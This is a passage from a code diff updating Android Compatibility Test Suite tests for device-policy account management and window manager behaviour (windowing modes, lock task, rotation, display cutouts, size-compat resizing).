+ int[] foldedDeviceStates = systemRes.getIntArray(foldedStatesArrayIdentifier);
+
+ // Device is a foldable if supportedStates contains any state in foldedDeviceStates
+ return Arrays.stream(foldedDeviceStates).anyMatch(supportedStates::contains);
+ }
}
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/AccountManagementTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/AccountManagementTest.java
index 9c5938efef0..1b1eb9c7684 100644
--- a/tests/devicepolicy/src/android/devicepolicy/cts/AccountManagementTest.java
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/AccountManagementTest.java
@@ -16,6 +16,8 @@
package android.devicepolicy.cts;
+import static android.os.UserManager.DISALLOW_MODIFY_ACCOUNTS;
+
import static com.android.queryable.queries.IntentFilterQuery.intentFilter;
import static com.android.queryable.queries.ServiceQuery.service;
@@ -25,7 +27,6 @@ import static org.junit.Assert.assertThrows;
import android.accounts.Account;
import android.accounts.AccountManager;
-import android.accounts.AuthenticatorException;
import android.accounts.OperationCanceledException;
import android.app.admin.RemoteDevicePolicyManager;
import android.content.ComponentName;
@@ -49,13 +50,10 @@ import com.android.bedstead.testapp.TestAppProvider;
import org.junit.Before;
import org.junit.ClassRule;
-import org.junit.Ignore;
import org.junit.Rule;
import org.junit.Test;
import org.junit.runner.RunWith;
-import java.io.IOException;
-
@RunWith(BedsteadJUnit4.class)
public final class AccountManagementTest {
@ClassRule
@@ -158,78 +156,64 @@ public final class AccountManagementTest {
assertThat(mDpm.getAccountTypesWithManagementDisabled()).isEmpty();
}
- @Ignore("b/197491427")
@Test
@Postsubmit(reason = "new test")
@CanSetPolicyTest(policy = AccountManagement.class)
public void addAccount_fromDpcWithAccountManagementDisabled_accountAdded()
- throws OperationCanceledException, AuthenticatorException, IOException {
+ throws Exception {
try (TestAppInstance accountAuthenticatorApp = sAccountManagementApp.install()) {
mDpm.setAccountManagementDisabled(mAdmin, EXISTING_ACCOUNT_TYPE, /* disabled= */ true);
// Management is disabled, but the DO/PO is still allowed to use the APIs
- // TODO(b/197491427): AccountManager support in TestApp
- // Do the following steps on the TestApp side:
- // Bundle result = addAccountWithType(EXISTING_ACCOUNT_TYPE);
+ Bundle result = addAccountWithType(sDeviceState.dpc(), EXISTING_ACCOUNT_TYPE);
- // assertThat(result.getString(AccountManager.KEY_ACCOUNT_TYPE))
- // .isEqualTo(EXISTING_ACCOUNT_TYPE);
+ assertThat(result.getString(AccountManager.KEY_ACCOUNT_TYPE))
+ .isEqualTo(EXISTING_ACCOUNT_TYPE);
} finally {
mDpm.setAccountManagementDisabled(mAdmin, EXISTING_ACCOUNT_TYPE, /* disabled= */ false);
- // TODO(b/197491427): AccountManager support in TestApp
- // removeAccount(ACCOUNT_WITH_EXISTING_TYPE);
}
}
- @Ignore("b/197491427")
@Test
@Postsubmit(reason = "new test")
@CanSetPolicyTest(policy = AccountManagement.class)
public void addAccount_fromDpcWithDisallowModifyAccountsRestriction_accountAdded()
- throws OperationCanceledException, AuthenticatorException, IOException {
+ throws Exception {
try (TestAppInstance accountAuthenticatorApp = sAccountManagementApp.install()) {
- mDpm.addUserRestriction(mAdmin, UserManager.DISALLOW_MODIFY_ACCOUNTS);
+ mDpm.addUserRestriction(mAdmin, DISALLOW_MODIFY_ACCOUNTS);
// Management is disabled, but the DO/PO is still allowed to use the APIs
- // TODO(b/197491427): AccountManager support in TestApp
- // Do the following steps on the TestApp side:
- // Bundle result = addAccountWithType(EXISTING_ACCOUNT_TYPE);
+ Bundle result = addAccountWithType(sDeviceState.dpc(), EXISTING_ACCOUNT_TYPE);
- //assertThat(result.getString(AccountManager.KEY_ACCOUNT_TYPE))
- // .isEqualTo(EXISTING_ACCOUNT_TYPE);
+ assertThat(result.getString(AccountManager.KEY_ACCOUNT_TYPE))
+ .isEqualTo(EXISTING_ACCOUNT_TYPE);
} finally {
- mDpm.clearUserRestriction(mAdmin, UserManager.DISALLOW_MODIFY_ACCOUNTS);
- // TODO(b/197491427): AccountManager support in TestApp
- // removeAccount(ACCOUNT_WITH_EXISTING_TYPE);
+ mDpm.clearUserRestriction(mAdmin, DISALLOW_MODIFY_ACCOUNTS);
}
}
- @Ignore("b/197491427")
@Test
@Postsubmit(reason = "new test")
@CanSetPolicyTest(policy = AccountManagement.class)
public void removeAccount_fromDpcWithDisallowModifyAccountsRestriction_accountRemoved()
- throws OperationCanceledException, AuthenticatorException, IOException {
+ throws Exception {
try (TestAppInstance accountAuthenticatorApp = sAccountManagementApp.install()) {
mDpm.addUserRestriction(mAdmin, UserManager.DISALLOW_MODIFY_ACCOUNTS);
// Management is disabled, but the DO/PO is still allowed to use the APIs
- // TODO(b/197491427): AccountManager support in TestApp
- // Do the following steps on the TestApp side:
- // addAccountWithType(EXISTING_ACCOUNT_TYPE);
- // Bundle result = removeAccount(ACCOUNT_WITH_EXISTING_TYPE);
+ addAccountWithType(sDeviceState.dpc(), EXISTING_ACCOUNT_TYPE);
+ Bundle result = removeAccount(sDeviceState.dpc(), ACCOUNT_WITH_EXISTING_TYPE);
- // assertThat(result.getBoolean(AccountManager.KEY_BOOLEAN_RESULT)).isTrue();
+ assertThat(result.getBoolean(AccountManager.KEY_BOOLEAN_RESULT)).isTrue();
} finally {
mDpm.clearUserRestriction(mAdmin, UserManager.DISALLOW_MODIFY_ACCOUNTS);
}
}
@Test
- @Postsubmit(reason = "new test with sleep")
+ @Postsubmit(reason = "new test")
@CanSetPolicyTest(policy = AccountManagement.class)
- public void addAccount_withDisallowModifyAccountsRestriction_throwsException()
- throws OperationCanceledException, AuthenticatorException, IOException {
+ public void addAccount_withDisallowModifyAccountsRestriction_throwsException() {
try (TestAppInstance accountAuthenticatorApp = sAccountManagementApp.install()) {
mDpm.addUserRestriction(mAdmin, UserManager.DISALLOW_MODIFY_ACCOUNTS);
@@ -241,17 +225,16 @@ public final class AccountManagementTest {
}
@Test
- @Postsubmit(reason = "new test with sleep")
+ @Postsubmit(reason = "new test")
@CanSetPolicyTest(policy = AccountManagement.class)
public void removeAccount_withDisallowModifyAccountsRestriction_throwsException()
- throws OperationCanceledException, AuthenticatorException, IOException,
- InterruptedException {
+ throws Exception {
try (TestAppInstance accountAuthenticatorApp = sAccountManagementApp.install()) {
- addAccountWithType(EXISTING_ACCOUNT_TYPE);
+ addAccountFromInstrumentedAppWithType(EXISTING_ACCOUNT_TYPE);
mDpm.addUserRestriction(mAdmin, UserManager.DISALLOW_MODIFY_ACCOUNTS);
assertThrows(OperationCanceledException.class, () ->
- removeAccount(ACCOUNT_WITH_EXISTING_TYPE));
+ removeAccountFromInstrumentedApp(ACCOUNT_WITH_EXISTING_TYPE));
} finally {
// Account is automatically removed when the test app is removed
mDpm.clearUserRestriction(mAdmin, UserManager.DISALLOW_MODIFY_ACCOUNTS);
@@ -259,7 +242,7 @@ public final class AccountManagementTest {
}
@Test
- @Postsubmit(reason = "new test with sleep")
+ @Postsubmit(reason = "new test")
@CanSetPolicyTest(policy = AccountManagement.class)
public void addAccount_withAccountManagementDisabled_throwsException() {
try (TestAppInstance accountAuthenticatorApp = sAccountManagementApp.install()) {
@@ -273,17 +256,16 @@ public final class AccountManagementTest {
}
@Test
- @Postsubmit(reason = "new test with sleep")
+ @Postsubmit(reason = "new test")
@CanSetPolicyTest(policy = AccountManagement.class)
public void removeAccount_withAccountManagementDisabled_throwsException()
- throws OperationCanceledException, AuthenticatorException, IOException,
- InterruptedException {
+ throws Exception {
try (TestAppInstance accountAuthenticatorApp = sAccountManagementApp.install()) {
- addAccountWithType(EXISTING_ACCOUNT_TYPE);
+ addAccountFromInstrumentedAppWithType(EXISTING_ACCOUNT_TYPE);
mDpm.setAccountManagementDisabled(mAdmin, EXISTING_ACCOUNT_TYPE, /* disabled= */ true);
assertThrows(OperationCanceledException.class, () ->
- removeAccount(ACCOUNT_WITH_EXISTING_TYPE));
+ removeAccountFromInstrumentedApp(ACCOUNT_WITH_EXISTING_TYPE));
} finally {
// Account is automatically removed when the test app is removed
mDpm.setAccountManagementDisabled(mAdmin, EXISTING_ACCOUNT_TYPE, /* disabled= */ false);
@@ -293,14 +275,25 @@ public final class AccountManagementTest {
/**
* Blocks until an account of {@code type} is added.
*/
- // TODO(b/199077745): Remove sleep once AccountManager race condition is fixed
- private Bundle addAccountWithType(String type) {
+ // TODO(b/199077745): Remove poll once AccountManager race condition is fixed
+ private Bundle addAccountFromInstrumentedAppWithType(String type) {
return Poll.forValue("created account bundle", () -> addAccountWithTypeOnce(type))
.toNotBeNull()
.errorOnFail()
.await();
}
+ /**
+ * Blocks until an account of {@code type} is added.
+ */
+ // TODO(b/199077745): Remove poll once AccountManager race condition is fixed
+ private Bundle addAccountWithType(TestAppInstance testApp, String type) {
+ return Poll.forValue("created account bundle", () -> addAccountWithTypeOnce(testApp, type))
+ .toNotBeNull()
+ .errorOnFail()
+ .await();
+ }
+
private Bundle addAccountWithTypeOnce(String type) throws Exception {
return mAccountManager.addAccount(
type,
@@ -312,13 +305,23 @@ public final class AccountManagementTest {
/* handler= */ null).getResult();
}
+ private Bundle addAccountWithTypeOnce(TestAppInstance testApp, String type)
+ throws Exception {
+ return testApp.accountManager().addAccount(
+ type,
+ /* authTokenType= */ null,
+ /* requiredFeatures= */ null,
+ /* addAccountOptions= */ null,
+ /* activity= */ null,
+ /* callback= */ null,
+ /* handler= */ null).getResult();
+ }
+
/**
* Blocks until {@code account} is removed.
*/
- // TODO(b/199077745): Remove sleep once AccountManager race condition is fixed
- private Bundle removeAccount(Account account)
- throws OperationCanceledException, IOException,
- InterruptedException, AuthenticatorException {
+ private Bundle removeAccountFromInstrumentedApp(Account account)
+ throws Exception {
return mAccountManager.removeAccount(
account,
/* activity= */ null,
@@ -326,4 +329,17 @@ public final class AccountManagementTest {
/* handler= */ null)
.getResult();
}
+
+ /**
+ * Blocks until {@code account} is removed.
+ */
+ private Bundle removeAccount(TestAppInstance testApp, Account account)
+ throws Exception {
+ return testApp.accountManager().removeAccount(
+ account,
+ /* activity= */ null,
+ /* callback= */ null,
+ /* handler= */ null)
+ .getResult();
+ }
}
diff --git a/tests/framework/base/windowmanager/AndroidManifest.xml b/tests/framework/base/windowmanager/AndroidManifest.xml
index b765cb049cd..181fe06bddc 100644
--- a/tests/framework/base/windowmanager/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/AndroidManifest.xml
@@ -336,7 +336,8 @@
<activity android:name="android.server.wm.WindowInsetsLayoutTests$TestActivity"/>
<activity android:name="android.server.wm.WindowInsetsControllerTests$TestActivity"
android:theme="@style/no_starting_window"/>
- <activity android:name="android.server.wm.WindowInsetsControllerTests$TestHideOnCreateActivity"/>
+ <activity android:name="android.server.wm.WindowInsetsControllerTests$TestHideOnCreateActivity"
+ android:windowSoftInputMode="adjustPan|stateUnchanged"/>
<activity android:name="android.server.wm.WindowInsetsControllerTests$TestShowOnCreateActivity"/>
<activity android:name="android.server.wm.DragDropTest$DragDropActivity"
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/AssistantActivity.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/AssistantActivity.java
index 82c3770dcbc..2258da2d424 100644
--- a/tests/framework/base/windowmanager/app/src/android/server/wm/app/AssistantActivity.java
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/AssistantActivity.java
@@ -47,13 +47,14 @@ public class AssistantActivity extends Activity {
final Intent launchIntent = new Intent();
launchIntent.setComponent(launchActivity)
.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK);
- final ActivityOptions activityOptions = ActivityOptions.makeBasic();
- activityOptions.setLaunchWindowingMode(WINDOWING_MODE_FULLSCREEN);
if (getIntent().hasExtra(EXTRA_ASSISTANT_DISPLAY_ID)) {
- activityOptions.setLaunchDisplayId(Integer.parseInt(getIntent()
+ ActivityOptions displayOptions = ActivityOptions.makeBasic();
+ displayOptions.setLaunchDisplayId(Integer.parseInt(getIntent()
.getStringExtra(EXTRA_ASSISTANT_DISPLAY_ID)));
+ startActivity(launchIntent, displayOptions.toBundle());
+ } else {
+ startActivity(launchIntent);
}
- startActivity(launchIntent, activityOptions.toBundle());
}
// Enter pip if requested
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java b/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java
index 401ebaff039..61903160963 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java
@@ -24,7 +24,6 @@ import static android.content.Intent.FLAG_ACTIVITY_TASK_ON_HOME;
import static android.server.wm.CliIntentExtra.extraString;
import static android.server.wm.UiDeviceUtils.pressBackButton;
import static android.server.wm.UiDeviceUtils.pressHomeButton;
-import static android.server.wm.UiDeviceUtils.pressSleepButton;
import static android.server.wm.VirtualDisplayHelper.waitForDefaultDisplayState;
import static android.server.wm.WindowManagerState.STATE_RESUMED;
import static android.server.wm.WindowManagerState.STATE_STOPPED;
@@ -64,6 +63,7 @@ import android.server.wm.CommandSession.ActivitySession;
import android.server.wm.CommandSession.ActivitySessionClient;
import android.server.wm.app.Components;
+import org.junit.Ignore;
import org.junit.Rule;
import org.junit.Test;
@@ -327,9 +327,11 @@ public class ActivityVisibilityTests extends ActivityManagerTestBase {
}
getLaunchActivityBuilder().setTargetActivity(BROADCAST_RECEIVER_ACTIVITY)
+ .setWindowingMode(WINDOWING_MODE_FULLSCREEN)
.setIntentFlags(FLAG_ACTIVITY_NEW_TASK).execute();
getLaunchActivityBuilder().setTargetActivity(BROADCAST_RECEIVER_ACTIVITY)
+ .setWindowingMode(WINDOWING_MODE_FULLSCREEN)
.setIntentFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_TASK_ON_HOME).execute();
mBroadcastActionTrigger.finishBroadcastReceiverActivity();
@@ -349,30 +351,27 @@ public class ActivityVisibilityTests extends ActivityManagerTestBase {
}
// Start LaunchingActivity and BroadcastReceiverActivity in two separate tasks.
getLaunchActivityBuilder().setTargetActivity(BROADCAST_RECEIVER_ACTIVITY)
+ .setWindowingMode(WINDOWING_MODE_FULLSCREEN)
.setIntentFlags(FLAG_ACTIVITY_NEW_TASK).execute();
waitAndAssertResumedActivity(BROADCAST_RECEIVER_ACTIVITY,"Activity must be resumed");
- final int taskId1 = mWmState.getTaskByActivity(LAUNCHING_ACTIVITY).mTaskId;
- final int taskId2 = mWmState.getTaskByActivity(BROADCAST_RECEIVER_ACTIVITY).mTaskId;
+ final int taskId = mWmState.getTaskByActivity(BROADCAST_RECEIVER_ACTIVITY).mTaskId;
try {
- runWithShellPermission(() -> {
- mAtm.startSystemLockTaskMode(taskId1);
- mAtm.startSystemLockTaskMode(taskId2);
- });
+ runWithShellPermission(() -> mAtm.startSystemLockTaskMode(taskId));
getLaunchActivityBuilder()
.setUseInstrumentation()
.setTargetActivity(BROADCAST_RECEIVER_ACTIVITY)
+ .setWindowingMode(WINDOWING_MODE_FULLSCREEN)
.setIntentFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_TASK_ON_HOME).execute();
- waitAndAssertResumedActivity(BROADCAST_RECEIVER_ACTIVITY,"Activity must be resumed");
- mBroadcastActionTrigger.finishBroadcastReceiverActivity();
- mWmState.waitAndAssertActivityRemoved(BROADCAST_RECEIVER_ACTIVITY);
-
- mWmState.assertHomeActivityVisible(false);
+ mWmState.waitForActivityState(BROADCAST_RECEIVER_ACTIVITY, STATE_RESUMED);
} finally {
- runWithShellPermission(() -> {
- mAtm.stopSystemLockTaskMode();
- });
+ runWithShellPermission(() -> mAtm.stopSystemLockTaskMode());
}
+
+ mBroadcastActionTrigger.finishBroadcastReceiverActivity();
+ mWmState.waitAndAssertActivityRemoved(BROADCAST_RECEIVER_ACTIVITY);
+
+ mWmState.assertHomeActivityVisible(false);
}
@Test
@@ -601,6 +600,7 @@ public class ActivityVisibilityTests extends ActivityManagerTestBase {
}
@Test
+ @Ignore("Unable to disable AOD for some devices")
public void testTurnScreenOnWithAttr_Freeform() {
assumeTrue(supportsLockScreen());
assumeTrue(supportsFreeform());
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java b/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java
index bdd4cf4596a..4f03eb20d63 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java
@@ -71,6 +71,7 @@ import android.server.wm.CommandSession.SizeInfo;
import android.server.wm.TestJournalProvider.TestJournalContainer;
import android.util.DisplayMetrics;
import android.view.Display;
+import android.window.WindowContainerTransaction;
import org.junit.Test;
@@ -282,9 +283,13 @@ public class AppConfigurationTests extends MultiDisplayTestBase {
final SizeInfo dockedSizes = getLastReportedSizesForActivity(activityName);
assertSizesAreSane(initialFullscreenSizes, dockedSizes);
- // Restore to fullscreen.
separateTestJournal();
- mTaskOrganizer.dismissSplitScreen();
+ // Restore to fullscreen.
+ final int activityTaskId = mWmState.getTaskByActivity(activityName).mTaskId;
+ final WindowContainerTransaction wct = new WindowContainerTransaction()
+ .setWindowingMode(mTaskOrganizer.getTaskInfo(activityTaskId).getToken(),
+ WINDOWING_MODE_FULLSCREEN);
+ mTaskOrganizer.dismissSplitScreen(wct, false /* primaryOnTop */);
// Home task could be on top since it was the top-most task while in split-screen mode
// (dock task was minimized), start the activity again to ensure the activity is at
// foreground.
@@ -358,6 +363,9 @@ public class AppConfigurationTests extends MultiDisplayTestBase {
public void testTranslucentAppOrientationRequests() {
assumeTrue("Skipping test: no orientation request support", supportsOrientationRequest());
+ // Disable fixed to user rotation by creating a rotation session
+ createManagedRotationSession();
+
separateTestJournal();
launchActivity(PORTRAIT_ORIENTATION_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
final SizeInfo initialReportedSizes =
@@ -762,7 +770,7 @@ public class AppConfigurationTests extends MultiDisplayTestBase {
launchActivity(PORTRAIT_ORIENTATION_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
mWmState.assertVisibility(PORTRAIT_ORIENTATION_ACTIVITY, true /* visible */);
- final SizeInfo initialSize = getLastReportedSizesForActivity(PORTRAIT_ORIENTATION_ACTIVITY);
+ final SizeInfo initialSize = activitySession.getConfigInfo().sizeInfo;
// Rotate the display and check that the orientation doesn't change
rotationSession.set(ROTATION_0);
@@ -788,6 +796,9 @@ public class AppConfigurationTests extends MultiDisplayTestBase {
public void testTaskMoveToBackOrientation() {
assumeTrue("Skipping test: no orientation request support", supportsOrientationRequest());
+ // Disable fixed to user rotation by creating a rotation session
+ createManagedRotationSession();
+
// Start landscape activity.
launchActivity(LANDSCAPE_ORIENTATION_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
mWmState.assertVisibility(LANDSCAPE_ORIENTATION_ACTIVITY, true /* visible */);
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/AssistantStackTests.java b/tests/framework/base/windowmanager/src/android/server/wm/AssistantStackTests.java
index aa85e2c0f9d..cdf5c121cd8 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/AssistantStackTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/AssistantStackTests.java
@@ -200,9 +200,9 @@ public class AssistantStackTests extends ActivityManagerTestBase {
removeRootTasksWithActivityTypes(ACTIVITY_TYPE_ASSISTANT);
}
- // Launch an assistant activity on top of an existing fullscreen activity, and ensure that
- // the fullscreen activity is still visible and on top after the assistant activity finishes
- launchActivityOnDisplay(TEST_ACTIVITY, WINDOWING_MODE_FULLSCREEN, mAssistantDisplayId);
+ // Launch an assistant activity on top of an existing activity, and ensure that the activity
+ // is still visible and on top after the assistant activity finishes
+ launchActivityOnDisplay(TEST_ACTIVITY, mAssistantDisplayId);
try (final AssistantSession assistantSession = new AssistantSession()) {
assistantSession.setVoiceInteractionService(ASSISTANT_VOICE_INTERACTION_SERVICE);
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/CompatChangeTests.java b/tests/framework/base/windowmanager/src/android/server/wm/CompatChangeTests.java
index 0c561691df7..16bdeb6d94c 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/CompatChangeTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/CompatChangeTests.java
@@ -55,6 +55,11 @@ import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
import org.junit.rules.TestRule;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+
+import java.util.Arrays;
+import java.util.List;
/**
* The test is focused on compatibility changes that have an effect on WM logic, and tests that
@@ -71,6 +76,7 @@ import org.junit.rules.TestRule;
* atest CtsWindowManagerDeviceTestCases:CompatChangeTests
*/
@Presubmit
+@RunWith(Parameterized.class)
public final class CompatChangeTests extends MultiDisplayTestBase {
private static final ComponentName RESIZEABLE_PORTRAIT_ACTIVITY =
component(ResizeablePortraitActivity.class);
@@ -96,6 +102,14 @@ public final class CompatChangeTests extends MultiDisplayTestBase {
private static final float FLOAT_EQUALITY_DELTA = 0.01f;
+ @Parameterized.Parameters(name= "{0}")
+ public static List<Double> data() {
+ return Arrays.asList(0.5, 2.0);
+ }
+
+ @Parameterized.Parameter(0)
+ public double resizeRatio;
+
@Rule
public TestRule compatChangeRule = new PlatformCompatChangeRule();
@@ -487,10 +501,10 @@ public final class CompatChangeTests extends MultiDisplayTestBase {
*/
private void runSizeCompatTest(ComponentName activity, int windowingMode,
boolean inSizeCompatModeAfterResize) {
- runSizeCompatTest(activity, windowingMode, /* resizeRatio= */ 0.5,
- inSizeCompatModeAfterResize);
- restoreDisplay(activity);
- runSizeCompatTest(activity, windowingMode, /* resizeRatio= */ 2,
+ mWmState.computeState();
+ WindowManagerState.DisplayContent originalDC = mWmState.getDisplay(DEFAULT_DISPLAY);
+
+ runSizeCompatTest(activity, windowingMode, resizeRatio,
inSizeCompatModeAfterResize);
}
@@ -552,11 +566,11 @@ public final class CompatChangeTests extends MultiDisplayTestBase {
private void runSizeCompatModeSandboxTest(ComponentName activity, boolean isSandboxed,
boolean inSizeCompatModeAfterResize) {
assertThat(getInitialDisplayAspectRatio()).isLessThan(ACTIVITY_LARGE_MIN_ASPECT_RATIO);
- runSizeCompatTest(activity, WINDOWING_MODE_FULLSCREEN, /* resizeRatio= */ 0.5,
- inSizeCompatModeAfterResize);
- assertSandboxedByProvidesMaxBounds(activity, isSandboxed);
- restoreDisplay(activity);
- runSizeCompatTest(activity, WINDOWING_MODE_FULLSCREEN, /* resizeRatio= */ 2,
+
+ mWmState.computeState();
+ WindowManagerState.DisplayContent originalDC = mWmState.getDisplay(DEFAULT_DISPLAY);
+
+ runSizeCompatTest(activity, WINDOWING_MODE_FULLSCREEN, resizeRatio,
inSizeCompatModeAfterResize);
assertSandboxedByProvidesMaxBounds(activity, isSandboxed);
}
@@ -696,13 +710,14 @@ public final class CompatChangeTests extends MultiDisplayTestBase {
}
/**
- * Restore the display size and ensure configuration changes are complete.
+ * Wait for the display to be restored to the original display content.
*/
- private void restoreDisplay(ComponentName activity) {
- final Rect originalBounds = mWmState.getActivity(activity).getBounds();
- mDisplayMetricsSession.restoreDisplayMetrics();
- // Ensure configuration changes are complete after resizing the display.
- waitForActivityBoundsChanged(activity, originalBounds);
+ private void waitForRestoreDisplay(WindowManagerState.DisplayContent originalDisplayContent) {
+ mWmState.waitForWithAmState(wmState -> {
+ mDisplayMetricsSession.restoreDisplayMetrics();
+ WindowManagerState.DisplayContent dc = mWmState.getDisplay(DEFAULT_DISPLAY);
+ return dc.equals(originalDisplayContent);
+ }, "waiting for display to be restored");
}
/**
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/DisplayCutoutTests.java b/tests/framework/base/windowmanager/src/android/server/wm/DisplayCutoutTests.java
index 28608d0faa8..a19c0fadf09 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/DisplayCutoutTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/DisplayCutoutTests.java
@@ -25,6 +25,7 @@ import static android.server.wm.DisplayCutoutTests.TestActivity.EXTRA_CUTOUT_MOD
import static android.server.wm.DisplayCutoutTests.TestActivity.EXTRA_ORIENTATION;
import static android.server.wm.DisplayCutoutTests.TestDef.Which.DISPATCHED;
import static android.server.wm.DisplayCutoutTests.TestDef.Which.ROOT;
+import static android.view.Display.DEFAULT_DISPLAY;
import static android.view.ViewGroup.LayoutParams.MATCH_PARENT;
import static android.view.WindowManager.LayoutParams.LAYOUT_IN_DISPLAY_CUTOUT_MODE_ALWAYS;
import static android.view.WindowManager.LayoutParams.LAYOUT_IN_DISPLAY_CUTOUT_MODE_DEFAULT;
@@ -54,7 +55,6 @@ import android.content.Intent;
import android.content.pm.PackageManager;
import android.graphics.Insets;
import android.graphics.Path;
-import android.graphics.Point;
import android.graphics.Rect;
import android.os.Bundle;
import android.platform.test.annotations.Presubmit;
@@ -527,14 +527,9 @@ public class DisplayCutoutTests {
new Intent().putExtra(EXTRA_CUTOUT_MODE, cutoutMode)
.putExtra(EXTRA_ORIENTATION, orientation));
PollingCheck.waitFor(activity::hasWindowFocus);
- PollingCheck.waitFor(() -> {
- final Rect appBounds = getAppBounds(activity);
- final Point displaySize = new Point();
- activity.getDisplay().getRealSize(displaySize);
- // During app launch into a different rotation, we have temporarily have the display
- // in a different rotation than the app itself. Wait for this to settle.
- return (appBounds.width() > appBounds.height()) == (displaySize.x > displaySize.y);
- });
+ final WindowManagerStateHelper wmState = new WindowManagerStateHelper();
+ wmState.waitForAppTransitionIdleOnDisplay(DEFAULT_DISPLAY);
+ wmState.waitForDisplayUnfrozen();
return activity;
}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayActivityLaunchTests.java b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayActivityLaunchTests.java
index 065fb95af4e..ad931ec66b7 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayActivityLaunchTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayActivityLaunchTests.java
@@ -19,6 +19,7 @@ package android.server.wm;
import static android.app.WindowConfiguration.ACTIVITY_TYPE_ASSISTANT;
import static android.app.WindowConfiguration.ACTIVITY_TYPE_RECENTS;
import static android.app.WindowConfiguration.ACTIVITY_TYPE_STANDARD;
+import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
import static android.content.Intent.FLAG_ACTIVITY_CLEAR_TASK;
import static android.content.Intent.FLAG_ACTIVITY_CLEAR_TOP;
import static android.content.Intent.FLAG_ACTIVITY_MULTIPLE_TASK;
@@ -250,7 +251,7 @@ public class MultiDisplayActivityLaunchTests extends MultiDisplayTestBase {
.setSimulateDisplay(true).createDisplay();
// Launch activity on new secondary display.
- launchActivityOnDisplay(NON_RESIZEABLE_ACTIVITY, newDisplay.mId);
+ launchActivityOnDisplay(NON_RESIZEABLE_ACTIVITY, WINDOWING_MODE_FULLSCREEN, newDisplay.mId);
waitAndAssertTopResumedActivity(NON_RESIZEABLE_ACTIVITY, newDisplay.mId,
"Activity requested to launch on secondary display must be focused");
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayTestBase.java b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayTestBase.java
index 98ad738f988..ae5284e7abc 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayTestBase.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayTestBase.java
@@ -350,35 +350,6 @@ public class MultiDisplayTestBase extends ActivityManagerTestBase {
return mObjectTracker.manage(new DisplayMetricsSession(displayId));
}
- public static class IgnoreOrientationRequestSession implements AutoCloseable {
- private static final String WM_SET_IGNORE_ORIENTATION_REQUEST =
- "wm set-ignore-orientation-request ";
- private static final String WM_GET_IGNORE_ORIENTATION_REQUEST =
- "wm get-ignore-orientation-request";
- private static final Pattern IGNORE_ORIENTATION_REQUEST_PATTERN =
- Pattern.compile("ignoreOrientationRequest (true|false) for displayId=\\d+");
-
- final int mDisplayId;
- final boolean mInitialValue;
-
- IgnoreOrientationRequestSession(int displayId, boolean value) {
- mDisplayId = displayId;
- Matcher matcher = IGNORE_ORIENTATION_REQUEST_PATTERN.matcher(
- executeShellCommand(WM_GET_IGNORE_ORIENTATION_REQUEST + " -d " + mDisplayId));
- assertTrue("get-ignore-orientation-request should match pattern", matcher.find());
- mInitialValue = Boolean.parseBoolean(matcher.group(1));
-
- executeShellCommand("wm set-ignore-orientation-request true -d " + mDisplayId);
- executeShellCommand(WM_SET_IGNORE_ORIENTATION_REQUEST + value + " -d " + mDisplayId);
- }
-
- @Override
- public void close() {
- executeShellCommand(
- WM_SET_IGNORE_ORIENTATION_REQUEST + mInitialValue + " -d " + mDisplayId);
- }
- }
-
/** @see ObjectTracker#manage(AutoCloseable) */
protected IgnoreOrientationRequestSession createManagedIgnoreOrientationRequestSession(
int displayId, boolean value) {
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/RoundedCornerTests.java b/tests/framework/base/windowmanager/src/android/server/wm/RoundedCornerTests.java
index b664b1121ae..d7d457393c8 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/RoundedCornerTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/RoundedCornerTests.java
@@ -22,14 +22,13 @@ import static android.content.pm.ActivityInfo.SCREEN_ORIENTATION_REVERSE_LANDSCA
import static android.content.pm.ActivityInfo.SCREEN_ORIENTATION_REVERSE_PORTRAIT;
import static android.content.pm.ActivityInfo.SCREEN_ORIENTATION_UNSPECIFIED;
import static android.server.wm.RoundedCornerTests.TestActivity.EXTRA_ORIENTATION;
+import static android.view.Display.DEFAULT_DISPLAY;
